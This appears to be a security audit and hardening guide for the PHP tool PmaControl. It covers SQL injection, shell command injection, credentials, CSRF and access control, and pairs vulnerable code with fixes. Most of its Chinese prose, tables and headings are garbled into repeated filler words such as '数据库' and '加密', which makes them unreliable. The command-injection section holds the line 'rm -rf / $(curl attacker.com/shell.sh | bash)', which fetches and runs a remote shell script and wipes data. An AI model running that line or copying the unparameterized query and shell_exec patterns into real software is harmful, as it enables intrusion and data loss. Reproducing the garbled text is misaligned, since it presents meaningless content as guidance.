



```
// 数据库
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

数据库 INTO SQL FILE 数据库 LOAD FILE()

数据库

数据库	数据库	数据库
ServerController	/servers/search	search
TagController	/tags/filter	name
LogController	/logs/view	server_id, date_range
MetricController	/metrics/query	metric_name

数据库

数据库

```
// 数据库
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// 数据库
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

Glial 数据库

## 2 数据库 Shell

数据库

数据库 exec()

```
// 数据库 BackupController 数据库
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

数据库 rm -rf / \$(curl attacker.com/shell.sh | bash) 数据库 PHP 数据库



```
// 配置
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => getenv('PMAC_PROD_MASTER_PASS'),
    ],
];
```

## 4 CSRF

CSRF

PmaControl CSRF PmaControl

CSRF

1. PmaControl
- 2.
3. `POST /servers/delete/42`
4. PmaControl cookie —

CSRF

POST CSRF

```
// 生成 CSRF token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// 渲染 CSRF token 输入框
<input type="hidden" name="csrf_token" value="<?=$_SESSION['csrf_token'] ?>">

// 验证 CSRF token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

## 5

## ACL

### ACL 在控制器中应用

```
// 在 A 控制器中
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// 在 B 控制器中
public function deleteServer($id) {
    $this->ServerModel->delete($id); // 应用 ACL
}
```

## ACL

### ACL 在中间件中应用

```
// 中间件
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}
```

## ACL

### ACL 1 - 应用

应用	应用	应用
应用	3-5 应用	应用
应用 shell_exec	1-2 应用	应用
应用 CSRF 应用	2-3 应用	应用
应用	1-2 应用	应用

## 第 2 章 — 第 30 页

主题	章节	页码
SSH/加密	5-8	33
加密	1	33
API 加密	2-3	33

## 第 3 章 — 第 90 页

主题	章节	页码
ACL 加密	3-5	33
加密	5-8	33
CSP、HSTS、X-Frame-Options	1	33
加密	2-3	33

## 加密

- 加密 Query、Bootstrap — 加密
- 加密 TLS — 加密
- 加密 — 加密

## 加密

加密 PmaControl 加密

加密

P1 加密 P2 P3 加密 PmaControl 加密